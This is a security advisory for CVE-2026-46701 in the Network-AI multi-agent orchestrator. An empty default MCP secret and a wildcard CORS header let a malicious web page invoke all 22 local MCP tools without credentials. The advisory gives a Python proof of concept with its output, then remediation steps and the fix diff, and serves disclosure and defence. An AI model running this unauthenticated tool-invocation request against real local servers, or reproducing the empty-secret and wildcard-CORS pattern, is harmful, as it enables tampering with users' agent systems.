VYPR
High severity7.6GHSA Advisory· Published May 21, 2026· Updated May 21, 2026

Network-AI: Unauthenticated Cross-Origin MCP Tool Invocation via Empty Default Secret

CVE-2026-46701

Description

# Unauthenticated Cross-Origin MCP Tool Invocation via Empty Default Secret

| Field | Value | | ---------------- | ----- | | Repository | Jovancoding/Network-AI | | Affected version | v5.4.4 (commit c12686e181f231cf8d7bcf836a96d78f0f0877ac) |

Summary

The MCP SSE server defaults to an empty secret (process.env['NETWORK_AI_MCP_SECRET'] ?? '' at bin/mcp-server.ts:89), which causes _isAuthorized (lib/mcp-transport-sse.ts:254) to return true unconditionally for every request — no Authorization header is required. Simultaneously, _handleRequest sets Access-Control-Allow-Origin: * (lib/mcp-transport-sse.ts:272) on every response, so a cross-origin browser fetch can read the result without restriction. An unauthenticated attacker who can lure a user to a malicious web page can invoke all 22 exposed MCP tools — including config_set, agent_spawn, and blackboard_write — against a default-configured localhost server.

Affected

Code

bin/mcp-server.ts:89 — default secret resolves to empty string, enabling open access

    secret: process.env['NETWORK_AI_MCP_SECRET'] ?? '',

lib/mcp-transport-sse.ts:254 — auth guard short-circuits to true when secret is falsy

  private _isAuthorized(req: http.IncomingMessage): boolean {
    if (!this._opts.secret) return true;
    const authHeader = req.headers['authorization'];
    if (typeof authHeader !== 'string') return false;
    const parts = authHeader.split(' ');
    return parts[0]?.toLowerCase() === 'bearer' && parts[1] === this._opts.secret;
  }

lib/mcp-transport-sse.ts:272 — wildcard CORS header applied unconditionally before any auth check

  private _handleRequest(req: http.IncomingMessage, res: http.ServerResponse): void {
    // CORS — allow any MCP client to connect
    res.setHeader('Access-Control-Allow-Origin', '*');
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');

lib/mcp-transport-sse.ts:367-368 — authenticated path dispatches parsed JSON-RPC frame directly to handleRPC with no further caller validation

        const rpc = JSON.parse(body) as McpJsonRpcRequest;
        const response = await this._bridge.handleRPC(rpc);

Any cross-origin browser request reaches handleRPC because _isAuthorized returns true (empty secret) and the Access-Control-Allow-Origin: * header lets the browser expose the response to the calling script.

Proof of

Concept

Environment - Network-AI v5.4.4 (latest) - Docker container bound to 127.0.0.1:3001 - Python 3 + requests

poc.py ``python import sys import requests BASE = "http://127.0.0.1:3001" # Step 1: Verify CORS wildcard (simulating cross-origin preflight) preflight = requests.options( f"{BASE}/mcp", headers={ "Origin": "http://evil.example.com", "Access-Control-Request-Method": "POST", "Access-Control-Request-Headers": "Content-Type", }, ) acao = preflight.headers.get("Access-Control-Allow-Origin", "") print(f"[*] OPTIONS /mcp -> {preflight.status_code}, Access-Control-Allow-Origin: {acao!r}") if acao != "*": print(f"RESULT: FAIL — expected ACAO='*', got {acao!r}") sys.exit(1) # Step 2: Invoke config_set with NO Authorization header from cross-origin rpc_payload = { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "config_set", "arguments": { "key": "maxParallelAgents", "value": "999" } } } resp = requests.post( f"{BASE}/mcp", json=rpc_payload, headers={ "Content-Type": "application/json", "Origin": "http://evil.example.com", # No Authorization header — exploiting empty-secret bypass }, ) print(f"[*] POST /mcp (no auth, cross-origin) -> {resp.status_code}") print(f"[*] Response body: {resp.text[:800]}") resp_acao = resp.headers.get("Access-Control-Allow-Origin", "") print(f"[*] Response Access-Control-Allow-Origin: {resp_acao!r}") if resp.status_code != 200: print(f"RESULT: FAIL — expected 200, got {resp.status_code}") sys.exit(1) body = resp.json() result_content = body.get("result", {}) is_error = result_content.get("isError", True) if is_error: print(f"RESULT: FAIL — tool returned isError=true: {result_content}") sys.exit(1) # Step 3: Confirm CORS header on actual response (browser can read it) if resp_acao != "*": print(f"RESULT: FAIL — response ACAO not '*', browser would block read: {resp_acao!r}") sys.exit(1) print(f"RESULT: PASS — unauthenticated cross-origin POST /mcp (no Bearer token) succeeded with HTTP 200 and ACAO='*'; config_set executed without credentials (maxParallelAgents set to 999)") ``

Output `` [*] OPTIONS /mcp -> 204, Access-Control-Allow-Origin: '*' [*] POST /mcp (no auth, cross-origin) -> 200 [*] Response body: {"jsonrpc":"2.0","id":1,"result":{"content":[{"type":"text","text":"{\"ok\":true,\"tool\":\"config_set\",\"data\":{\"key\":\"maxParallelAgents\",\"previous\":null,\"current\":999,\"applied\":true}}"}],"isError":false}} [*] Response Access-Control-Allow-Origin: '*' RESULT: PASS — unauthenticated cross-origin POST /mcp (no Bearer token) succeeded with HTTP 200 and ACAO='*'; config_set executed without credentials (maxParallelAgents set to 999) ``

Verified conditions 1. OPTIONS /mcp → 204, Access-Control-Allow-Origin: * — browser preflight accepted by server 2. POST /mcp (no Authorization header) → 200, isError: falseconfig_set executed without credentials 3. Response Access-Control-Allow-Origin: * — response is readable by the calling script in a browser context, confirming the attack is viable from a cross-origin malicious page

Impact

Any web page visited by a user who has the Network-AI MCP server running locally (default port 3001, no secret) can silently invoke all 22 MCP tools without credentials. Verified impact includes arbitrary orchestrator configuration mutation (config_set); the same vector applies to agent_spawn (spawning arbitrary agents), blackboard_write / blackboard_delete (corrupting shared agent state), and token_create / token_revoke (tampering with token management). Confidentiality impact is limited to data readable via MCP tools (blackboard contents, audit log queries); integrity impact is high because core orchestrator state can be overwritten; availability impact is low (service continues running but with attacker-controlled configuration).

Remediation

1. Require a non-empty secret at startup: in bin/mcp-server.ts, reject launch when args.secret is empty and --stdio is not set: ``typescript if (!args.secret && !args.stdio) { console.error('ERROR: --secret or NETWORK_AI_MCP_SECRET must be set for SSE mode.'); process.exit(1); } ``

2. Restrict CORS to localhost origins only: in lib/mcp-transport-sse.ts:_handleRequest, replace the wildcard with an allowlist: ``typescript const origin = req.headers['origin'] ?? ''; const allowed = /^https?:\/\/(localhost|127\.0\.0\.1)(:\d+)?$/.test(origin); res.setHeader('Access-Control-Allow-Origin', allowed ? origin : ''); res.setHeader('Vary', 'Origin'); ``

  1. Move CORS headers after the auth check so a rejected request never advertises cross-origin access, or apply CORS only on the SSE endpoint (/sse) if cross-origin streaming is needed and not on /mcp.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

In Network-AI v5.4.4, the MCP SSE server uses an empty default secret, allowing unauthenticated cross-origin invocation of all 22 exposed tools via a malicious web page.

Vulnerability

Overview

The vulnerability resides in the Model Context Protocol (MCP) SSE server of Network-AI v5.4.4. The server defaults to an empty secret when the environment variable NETWORK_AI_MCP_SECRET is not set (bin/mcp-server.ts:89). This causes the _isAuthorized method (lib/mcp-transport-sse.ts:254) to return true unconditionally, bypassing any authentication check. Additionally, _handleRequest sets Access-Control-Allow-Origin: * (lib/mcp-transport-sse.ts:272) on all responses, enabling cross-origin requests from any domain. [2]

Exploitation

Prerequisites

An attacker does not need authentication or any prior access to the target server. The only requirement is that the victim runs a default-configured localhost instance of Network-AI v5.4.4. The attacker can lure the user to a malicious webpage that performs cross-origin fetch requests to the local MCP SSE endpoint. The wildcard CORS header allows the browser to read responses, making the attack feasible without any network-level access beyond the user's browser. [2]

Impact

All 22 exposed MCP tools become invocable by the attacker, including config_set, agent_spawn, and blackboard_write. These tools can alter server configuration, spawn new agents, and modify shared blackboard state, potentially leading to arbitrary code execution or data manipulation. The CVSS score of 7.6 (High) reflects a low attack complexity, no privileges required, and impacts on confidentiality (low), integrity (high), and availability (low). [2]

Mitigation

The vendor has acknowledged the vulnerability and a fix is available in the security advisory GHSA-j3vx-cx2r-pvg8. Users are advised to upgrade to a patched version or set the NETWORK_AI_MCP_SECRET environment variable to a non-empty, strong secret before starting the server. There are no known workarounds other than applying the fix. [1][2]

AI Insight generated on May 21, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

2

Patches

1
dc5048112283

security: fix GHSA-j3vx-cx2r-pvg8 (CWE-346, High) — require secret in SSE mode, restrict CORS to localhost

https://github.com/Jovancoding/Network-AIjovanSAPFIONEERMay 16, 2026Fixed in 5.4.5via llm-release-walk
16 files changed · +46 36
  • ARCHITECTURE.md+1 1 modified
    @@ -1,6 +1,6 @@
     # Architecture
     
    -Network-AI v5.4.4 — TypeScript/Node.js multi-agent orchestrator with 29 adapters, 2,976 tests, 66+ modules.
    +Network-AI v5.4.5 — TypeScript/Node.js multi-agent orchestrator with 29 adapters, 2,976 tests, 66+ modules.
     
     ## The Multi-Agent Race Condition Problem
     
    
  • AUDIT_LOG_SCHEMA.md+1 1 modified
    @@ -1,4 +1,4 @@
    -# Audit Log Schema — Network-AI v5.4.4
    +# Audit Log Schema — Network-AI v5.4.5
     
     Network-AI writes a JSONL audit trail during permission management and swarm execution. This document describes every field and event type.
     
    
  • BENCHMARKS.md+1 1 modified
    @@ -1,6 +1,6 @@
     # Benchmarks & Performance
     
    -> Performance data for Network-AI v5.4.4 deployments. Your swarm is only as fast as the backend it calls — this page helps you choose the right setup.
    +> Performance data for Network-AI v5.4.5 deployments. Your swarm is only as fast as the backend it calls — this page helps you choose the right setup.
     
     ## BlackboardValidator Throughput
     
    
  • bin/mcp-server.ts+8 7 modified
    @@ -299,14 +299,15 @@ async function main(): Promise<void> {
       }
     
       // SSE/HTTP mode
    -  const isLoopback = args.host === '127.0.0.1' || args.host === 'localhost' || args.host === '::1';
    -  if (!isLoopback && !args.secret) {
    -    console.warn(
    -      '\n[network-ai-server] WARNING: Binding to ' + args.host +
    -      ' with no --secret set. Any network-reachable client can access all' +
    -      ' 22 MCP tools, including config_set and agent_spawn. Pass' +
    -      ' --secret <token> or set NETWORK_AI_MCP_SECRET to require authentication.\n'
    +  if (!args.secret) {
    +    process.stderr.write(
    +      '[network-ai-server] ERROR: --secret <token> or NETWORK_AI_MCP_SECRET must be set for SSE mode.\n' +
    +      '  Without a secret every request is accepted, including cross-origin browser requests\n' +
    +      '  that can invoke all MCP tools (config_set, agent_spawn, blackboard_write, …) without credentials.\n' +
    +      '  Set a secret: --secret <token>  or  export NETWORK_AI_MCP_SECRET=<token>\n' +
    +      '  For local stdio use (Claude Desktop / Cursor / Glama) run with --stdio instead.\n'
         );
    +    process.exit(1);
       }
     
       const server = new McpSseServer(combined, {
    
  • CHANGELOG.md+12 0 modified
    @@ -5,6 +5,18 @@ All notable changes to Network-AI will be documented in this file.
     The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
     and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
     
    +## [5.4.5] - 2026-05-16
    +
    +### Security
    +- **GHSA-j3vx-cx2r-pvg8** (CWE-346, High, CVSS 7.6) — Unauthenticated Cross-Origin MCP Tool Invocation via Empty Default Secret.
    +  - `bin/mcp-server.ts`: SSE mode now hard-exits at startup with a clear error if no `--secret` / `NETWORK_AI_MCP_SECRET` is set. Empty-string default no longer allows open access.
    +  - `lib/mcp-transport-sse.ts`: CORS `Access-Control-Allow-Origin` changed from unconditional `*` to an allowlist restricted to `localhost` and `127.0.0.1` origins only. Non-local origins receive no ACAO header. Removed duplicate CORS block. `Vary: Origin` header added.
    +  - Reported by 232-323 and min8282.
    +
    +### Stats
    +- **29 test suites, 2,976 passing assertions** (unchanged)
    +- Zero TypeScript compile errors (`npx tsc --noEmit`)
    +
     ## [5.4.4] - 2026-05-13
     
     ### Fixed
    
  • ENTERPRISE.md+1 1 modified
    @@ -25,7 +25,7 @@ This document exists so an engineer or architect can evaluate Network-AI in unde
     
     ## What It Does (One Paragraph)
     
    -Network-AI is a TypeScript/Node.js orchestration layer that sits between your agents and your shared state. It enforces: atomic blackboard writes (no race conditions when two agents write simultaneously), permission gating (agents must request access to sensitive resources and provide a scored justification), budget ceilings (per-agent token limits; rogue agents get cut off mid-task), FSM-based workflow governance (agents are blocked from skipping pipeline stages), and real-time compliance monitoring (tool abuse, turn-taking violations, response timeouts). v5.0 adds: approval inbox (web-accessible approval queue), job queue (persistent priority FIFO with crash recovery), transport layer (JSON-RPC 2.0 with HMAC auth), agent VCR (record/replay for testing), comparison runner (side-by-side adapter evaluation), and 9 new adapters. v5.1.4 adds: RLMAdapter (recursive language model / any RLM-compatible HTTP endpoint), FederatedBudget child spending, blackboard metadata API, PhasePipeline compaction, semaphore-based fan-out, HookContext depth, and sub-goal recursion. v5.3.x adds: Context Throttler (prune blackboard keys per-agent scope), Route Classifier (goal routing + FACTUAL_LOOKUP short-circuit), Partition Planner (non-overlapping agent focus areas), Coverage Gate (recursive completeness refinement), advisory token enforcement in the permission system, and context injection validation in the project context manager. v5.4.0 adds: EnvironmentManager (full promotion chain with backup/rollback), LockedBlackboard env routing (NETWORK_AI_ENV), source protection (FileAccessor scope enforcement), Python NETWORK_AI_ENV support across all five scripts, and 29 CLI env subcommands. v5.4.1 adds: TOCTOU race condition fixes in `_touchJson`/`_touchFile` (CWE-367, CodeQL #149–#150) via `openSync(O_CREAT|O_EXCL)`; unused imports and dead function removed (CodeQL #151–#153). v5.4.2 adds: improved MCP tool descriptions across all 22 tools (behavior on error, return shapes, usage guidelines); ClawHub ASI01/ASI03/ASI06/ASI07 Notes documented as by-design mitigated patterns in SECURITY.md. v5.4.3 adds: ClawHub ASI01/03/06/07 Notes security-findings table added to SKILL.md; README documentation table updated with SKILL.md entry and Code of Conduct/Security Policy footer links; UTF-8 BOM stripped from package.json/skill.json/openapi.yaml (fixed CI ts-node parse failure). v5.4.4 adds: fixed missing `import os` in `scripts/swarm_guard.py` (ClawHub ASI08 — budget/health guard was crashing on startup); SKILL.md findings table updated to mark ASI08 resolved. It ships as an npm package with a companion Python skill bundle for OpenClaw/ClawHub environments.
    +Network-AI is a TypeScript/Node.js orchestration layer that sits between your agents and your shared state. It enforces: atomic blackboard writes (no race conditions when two agents write simultaneously), permission gating (agents must request access to sensitive resources and provide a scored justification), budget ceilings (per-agent token limits; rogue agents get cut off mid-task), FSM-based workflow governance (agents are blocked from skipping pipeline stages), and real-time compliance monitoring (tool abuse, turn-taking violations, response timeouts). v5.0 adds: approval inbox (web-accessible approval queue), job queue (persistent priority FIFO with crash recovery), transport layer (JSON-RPC 2.0 with HMAC auth), agent VCR (record/replay for testing), comparison runner (side-by-side adapter evaluation), and 9 new adapters. v5.1.4 adds: RLMAdapter (recursive language model / any RLM-compatible HTTP endpoint), FederatedBudget child spending, blackboard metadata API, PhasePipeline compaction, semaphore-based fan-out, HookContext depth, and sub-goal recursion. v5.3.x adds: Context Throttler (prune blackboard keys per-agent scope), Route Classifier (goal routing + FACTUAL_LOOKUP short-circuit), Partition Planner (non-overlapping agent focus areas), Coverage Gate (recursive completeness refinement), advisory token enforcement in the permission system, and context injection validation in the project context manager. v5.4.0 adds: EnvironmentManager (full promotion chain with backup/rollback), LockedBlackboard env routing (NETWORK_AI_ENV), source protection (FileAccessor scope enforcement), Python NETWORK_AI_ENV support across all five scripts, and 29 CLI env subcommands. v5.4.1 adds: TOCTOU race condition fixes in `_touchJson`/`_touchFile` (CWE-367, CodeQL #149–#150) via `openSync(O_CREAT|O_EXCL)`; unused imports and dead function removed (CodeQL #151–#153). v5.4.2 adds: improved MCP tool descriptions across all 22 tools (behavior on error, return shapes, usage guidelines); ClawHub ASI01/ASI03/ASI06/ASI07 Notes documented as by-design mitigated patterns in SECURITY.md. v5.4.3 adds: ClawHub ASI01/03/06/07 Notes security-findings table added to SKILL.md; README documentation table updated with SKILL.md entry and Code of Conduct/Security Policy footer links; UTF-8 BOM stripped from package.json/skill.json/openapi.yaml (fixed CI ts-node parse failure). v5.4.4 adds: fixed missing `import os` in `scripts/swarm_guard.py` (ClawHub ASI08). v5.4.5 adds: security fix for GHSA-j3vx-cx2r-pvg8 (CWE-346, High) — SSE server now requires a non-empty secret at startup; CORS restricted to localhost origins only (no longer wildcard `*`). It ships as an npm package with a companion Python skill bundle for OpenClaw/ClawHub environments.
     
     ---
     
    
  • .github/copilot-instructions.md+1 1 modified
    @@ -2,7 +2,7 @@
     
     ## Project Overview
     
    -Network-AI is a TypeScript/Node.js multi-agent orchestrator — shared state, guardrails, budgets, and cross-framework coordination (v5.4.4). 2,976 tests across 29 suites.
    +Network-AI is a TypeScript/Node.js multi-agent orchestrator — shared state, guardrails, budgets, and cross-framework coordination (v5.4.5). 2,976 tests across 29 suites.
     
     ## Architecture
     
    
  • .github/SECURITY.md+3 2 modified
    @@ -4,7 +4,7 @@
     
     | Version | Supported |
     |---------|-----------|
    -| 5.4.x   | ✅ Yes — full support (current, latest: 5.4.4) |
    +| 5.4.x   | ✅ Yes — full support (current, latest: 5.4.5) |
     | 5.3.x   | ✅ Security fixes only |
     | 5.2.x   | ✅ Security fixes only |
     | 5.1.x   | ✅ Security fixes only |
    @@ -69,7 +69,8 @@ Network-AI includes built-in security features:
     
     - **VirusTotal**: Benign (0/64 engines)
     - **OpenClaw Scanner**: Benign, HIGH CONFIDENCE
    -- **ClawHub Security Scanner** (v5.4.4): 4 Notes acknowledged and mitigated — ASI01 (agent goal hijack, by design: Orchestrator skill decomposes into 3 sub-tasks; SKILL.md documents when to enable/disable), ASI03 (advisory token identity, by design: tokens explicitly marked advisory, separate platform auth required), ASI06 (persistent context poisoning, by design: `_validate_context()` injection detection, SKILL.md warns against storing secrets, clear `data/` between projects), ASI07 (inter-agent communication boundary, by design: all inter-agent messaging is host platform's responsibility, documented in SKILL.md). These Notes reflect inherent design characteristics and will recur on future scans; the documented controls are the mitigation.
    +- **GHSA-j3vx-cx2r-pvg8** (CWE-346, High, CVSS 7.6) — Unauthenticated Cross-Origin MCP Tool Invocation via Empty Default Secret — **Fixed in v5.4.5**. SSE server now requires a non-empty secret at startup; CORS restricted to localhost origins only. Reported by 232-323 and min8282.
    +- **ClawHub Security Scanner** (v5.4.5): 4 Notes acknowledged and mitigated — ASI01 (agent goal hijack, by design: Orchestrator skill decomposes into 3 sub-tasks; SKILL.md documents when to enable/disable), ASI03 (advisory token identity, by design: tokens explicitly marked advisory, separate platform auth required), ASI06 (persistent context poisoning, by design: `_validate_context()` injection detection, SKILL.md warns against storing secrets, clear `data/` between projects), ASI07 (inter-agent communication boundary, by design: all inter-agent messaging is host platform's responsibility, documented in SKILL.md). These Notes reflect inherent design characteristics and will recur on future scans; the documented controls are the mitigation.
     - **CodeQL**: v4.3.2 clean — A2A bearer tokens transmitted only via `Authorization` header; no URL embedding; streaming paths carry no credential material; `AbortController` guards prevent hanging fetch calls; CLI layer adds no new network surface (fully in-process); CWE-367 TOCTOU alerts #86/#87 resolved — `audit tail` and CLI test now open fd first and use `fs.fstatSync(fd)` instead of `fs.statSync(filename)`
     - **CodeQL** (historical): v3.3.0 — all fixable alerts resolved; unused imports cleaned; false-positive detection patterns dismissed; v3.4.0 clean; v3.4.1 — #65–#68 HIGH (insecure temporary file) resolved via `path.resolve()` sanitization and `mode: 0o700` directory permissions
     - **Snyk**: All High/Medium findings resolved in v3.0.3
    
  • INTEGRATION_GUIDE.md+1 1 modified
    @@ -564,4 +564,4 @@ Run these before declaring the integration production-ready:
     
     ---
     
    -*Network-AI v5.4.4 · MIT License · https://github.com/Jovancoding/Network-AI*
    +*Network-AI v5.4.5 · MIT License · https://github.com/Jovancoding/Network-AI*
    
  • lib/mcp-transport-sse.ts+9 14 modified
    @@ -279,7 +279,7 @@ export class McpSseServer {
       /** Start listening. Resolves when the server is ready. */
       listen(): Promise<void> {
         this._server = requireHttp().createServer((req, res) => this._handleRequest(req, res));
    -    // Warn when binding to a non-loopback address without authentication
    +    // Warn when binding to a non-loopback address — defense-in-depth notice
         const isLoopback = this._opts.host === '127.0.0.1' || this._opts.host === 'localhost' || this._opts.host === '::1';
         if (!isLoopback && !this._opts.secret) {
           process.stderr.write(
    @@ -348,17 +348,6 @@ export class McpSseServer {
       // --------------------------------------------------------------------------
     
       private _handleRequest(req: http.IncomingMessage, res: http.ServerResponse): void {
    -    // CORS — allow any MCP client to connect
    -    res.setHeader('Access-Control-Allow-Origin', '*');
    -    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
    -    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    -
    -    if (req.method === 'OPTIONS') {
    -      res.writeHead(204);
    -      res.end();
    -      return;
    -    }
    -
         const base = `http://${req.headers.host ?? `localhost:${this._opts.port}`}`;
         let parsed: URL;
         try {
    @@ -371,10 +360,16 @@ export class McpSseServer {
     
         const path = parsed.pathname;
     
    -    // CORS — allow Cursor / Claude Desktop / browser clients
    -    res.setHeader('Access-Control-Allow-Origin', '*');
    +    // CORS — restrict to localhost origins only (prevents cross-origin browser attacks)
    +    const origin = req.headers['origin'] ?? '';
    +    const isLocalOrigin = /^https?:\/\/(localhost|127\.0\.0\.1)(:\d+)?$/.test(origin);
    +    if (isLocalOrigin) {
    +      res.setHeader('Access-Control-Allow-Origin', origin);
    +      res.setHeader('Vary', 'Origin');
    +    }
         res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
         res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    +
         if (req.method === 'OPTIONS') {
           res.writeHead(204);
           res.end();
    
  • openapi.yaml+1 1 modified
    @@ -6,7 +6,7 @@ info:
         blackboard coordination, parallel agent spawning, and permission gating
         via AuthGuardian. Requires the companion MCP server:
         `npm install -g network-ai && npx network-ai-server --port 3001`
    -  version: 5.4.4
    +  version: 5.4.5
       license:
         name: MIT
         url: https://github.com/Jovancoding/Network-AI/blob/main/LICENSE
    
  • package.json+1 1 modified
    @@ -1,6 +1,6 @@
     {
       "name": "network-ai",
    -  "version": "5.4.4",
    +  "version": "5.4.5",
       "description": "AI agent orchestration framework for TypeScript/Node.js - 29 adapters (LangChain, AutoGen, CrewAI, OpenAI Assistants, LlamaIndex, Semantic Kernel, Haystack, DSPy, Agno, MCP, OpenClaw, A2A, Codex, MiniMax, NemoClaw, APS, Copilot, LangGraph, Anthropic Computer Use, OpenAI Agents SDK, Vertex AI, Pydantic AI, Browser Agent, Hermes, Orchestrator, RLM + streaming variants). Built-in CLI, security, swarm intelligence, real-time streaming, and agentic workflow patterns.",
       "homepage": "https://network-ai.org",
       "main": "dist/index.js",
    
  • README.md+1 1 modified
    @@ -5,7 +5,7 @@
     [![Website](https://img.shields.io/badge/website-network--ai.org-4b9df2?style=flat&logo=web&logoColor=white)](https://network-ai.org/)
     [![CI](https://github.com/Jovancoding/Network-AI/actions/workflows/ci.yml/badge.svg)](https://github.com/Jovancoding/Network-AI/actions/workflows/ci.yml)
     [![CodeQL](https://github.com/Jovancoding/Network-AI/actions/workflows/codeql.yml/badge.svg)](https://github.com/Jovancoding/Network-AI/actions/workflows/codeql.yml)
    -[![Release](https://img.shields.io/badge/release-v5.4.4-blue.svg)](https://github.com/Jovancoding/Network-AI/releases)
    +[![Release](https://img.shields.io/badge/release-v5.4.5-blue.svg)](https://github.com/Jovancoding/Network-AI/releases)
     [![npm](https://img.shields.io/npm/dw/network-ai.svg?label=npm%20downloads)](https://www.npmjs.com/package/network-ai)
     [![Tests](https://img.shields.io/badge/tests-2976%20passing-brightgreen.svg)](#testing)
     [![Adapters](https://img.shields.io/badge/frameworks-29%20supported-blueviolet.svg)](#adapter-system)
    
  • references/adapter-system.md+1 1 modified
    @@ -2,7 +2,7 @@
     
     ## Overview
     
    -The SwarmOrchestrator uses an **adapter pattern** to work with any agent framework. Instead of being locked to one system, you bring your own agents — from any framework — and the orchestrator handles coordination, shared state, permissions, and parallel execution. As of v5.4.4, 29 adapters are included.
    +The SwarmOrchestrator uses an **adapter pattern** to work with any agent framework. Instead of being locked to one system, you bring your own agents — from any framework — and the orchestrator handles coordination, shared state, permissions, and parallel execution. As of v5.4.5, 29 adapters are included.
     
     ```
     ┌─────────────────────────────────────────────────────────────┐
    
  • SECURITY.md+3 2 modified
    @@ -4,7 +4,7 @@
     
     | Version | Supported |
     |---------|-----------||
    -| 5.4.x   | ✅ Yes — full support (current, latest: 5.4.4) |
    +| 5.4.x   | ✅ Yes — full support (current, latest: 5.4.5) |
     | 5.3.x   | ✅ Security fixes only |
     | 5.2.x   | ✅ Security fixes only |
     | 5.1.x   | ✅ Security fixes only |
    @@ -76,7 +76,8 @@ Network-AI includes built-in security features:
     
     - **VirusTotal**: Benign (0/64 engines)
     - **OpenClaw Scanner**: Benign, HIGH CONFIDENCE
    -- **ClawHub Security Scanner** (v5.4.4): 4 Notes acknowledged and mitigated with documented controls — ASI01 (agent goal hijack: Orchestrator skill forces 3-subtask decomposition by design; SKILL.md documents when to enable/disable it), ASI03 (advisory token identity: tokens explicitly marked advisory; separate platform auth and human approval required for sensitive resources), ASI06 (persistent context poisoning: `_validate_context()` runs injection-pattern detection before every inject; `data/project-context.json` must not store secrets; clear `data/` between projects), and ASI07 (inter-agent communication boundary: SKILL.md explicitly states all inter-agent messaging is the host platform's responsibility; users must configure host platform network settings). These Notes reflect by-design characteristics of the skill and will recur on future scans; the documented controls are the mitigation, not an elimination of the pattern.
    +- **ClawHub Security Scanner** (v5.4.5): 4 Notes acknowledged and mitigated with documented controls — ASI01 (agent goal hijack: Orchestrator skill forces 3-subtask decomposition by design; SKILL.md documents when to enable/disable it), ASI03 (advisory token identity: tokens explicitly marked advisory; separate platform auth and human approval required for sensitive resources), ASI06 (persistent context poisoning: `_validate_context()` runs injection-pattern detection before every inject; `data/project-context.json` must not store secrets; clear `data/` between projects), and ASI07 (inter-agent communication boundary: SKILL.md explicitly states all inter-agent messaging is the host platform's responsibility; users must configure host platform network settings). These Notes reflect by-design characteristics of the skill and will recur on future scans; the documented controls are the mitigation, not an elimination of the pattern.
    +- **GHSA-j3vx-cx2r-pvg8** (CWE-346, High, CVSS 7.6) — Unauthenticated Cross-Origin MCP Tool Invocation via Empty Default Secret — **Fixed in v5.4.5**. SSE server now requires a non-empty secret at startup; CORS restricted to localhost origins only. Reported by 232-323 and min8282.
     - **CodeQL** (v5.4.1): All alerts resolved — CWE-367 TOCTOU (#149, #150) fixed via `O_CREAT|O_EXCL` open; unused imports/function (#151–#153) removed
     - **CodeQL**: v4.3.2 clean — A2A bearer tokens transmitted only via `Authorization` header; no URL embedding; streaming paths carry no credential material; `AbortController` guards prevent hanging fetch calls; CLI layer adds no new network surface (fully in-process); CWE-367 TOCTOU alerts #86/#87 resolved — `audit tail` and CLI test now open fd first and use `fs.fstatSync(fd)` instead of `fs.statSync(filename)`
     - **CodeQL** (historical): v3.3.0 — all fixable alerts resolved; unused imports cleaned; false-positive detection patterns dismissed; v3.4.0 clean; v3.4.1 — #65–#68 HIGH (insecure temporary file) resolved via `path.resolve()` sanitization and `mode: 0o700` directory permissions
    
  • skill.json+1 1 modified
    @@ -1,6 +1,6 @@
     {
       "name": "SwarmOrchestrator",
    -  "version": "5.4.4",
    +  "version": "5.4.5",
       "description": "Local Python orchestration skill: multi-agent workflows via shared blackboard file, permission gating, token budget scripts, and persistent project context. The bundled Python scripts make no network calls and have zero third-party dependencies. The parent repository also contains a TypeScript engine (not included in this skill bundle). Workflow delegations via the host platform's sessions_send may invoke external model APIs.",
       "author": "Network-AI Community",
       "homepage": "https://network-ai.org",
    

Vulnerability mechanics

Root cause

"The MCP SSE server defaults to an empty secret and sets a wildcard CORS header, allowing unauthenticated cross-origin tool invocation."

Attack vector

An attacker hosts a malicious web page that sends a cross-origin fetch to the victim's local Network-AI MCP server (default port 3001). The server's `_isAuthorized` method [patch_id=1265521] returns `true` unconditionally because the default secret is an empty string (`process.env['NETWORK_AI_MCP_SECRET'] ?? ''`). Simultaneously, `_handleRequest` sets `Access-Control-Allow-Origin: *` on every response, so the browser exposes the response to the calling script. No `Authorization` header is required, and no user interaction beyond visiting the page is needed.

Affected code

`bin/mcp-server.ts:89` defaults the secret to an empty string via `process.env['NETWORK_AI_MCP_SECRET'] ?? ''`. `lib/mcp-transport-sse.ts:254` (`_isAuthorized`) returns `true` when the secret is falsy, bypassing all authentication. `lib/mcp-transport-sse.ts:272` (`_handleRequest`) sets `Access-Control-Allow-Origin: *` unconditionally before any auth check. `lib/mcp-transport-sse.ts:367-368` passes parsed JSON-RPC requests directly to `handleRPC` with no additional caller validation.

What the fix does

The patch [patch_id=1265521] addresses two root causes. First, it rejects server startup when the secret is empty in SSE mode, forcing the operator to configure a non-empty `NETWORK_AI_MCP_SECRET` or `--secret` flag. Second, it replaces the wildcard `Access-Control-Allow-Origin: *` with an origin allowlist that only permits `localhost` and `127.0.0.1` origins, preventing arbitrary cross-origin reads. The patch also moves CORS header logic to respect the auth check, so rejected requests do not advertise cross-origin access.

Preconditions

  • configNetwork-AI MCP server running on localhost (default port 3001) with no NETWORK_AI_MCP_SECRET configured
  • networkVictim visits a malicious web page that can make cross-origin HTTP requests
  • authNo authentication credentials required
  • inputAttacker sends a POST request with a JSON-RPC payload targeting any MCP tool

Generated on May 21, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

2

News mentions

0

No linked articles in our index yet.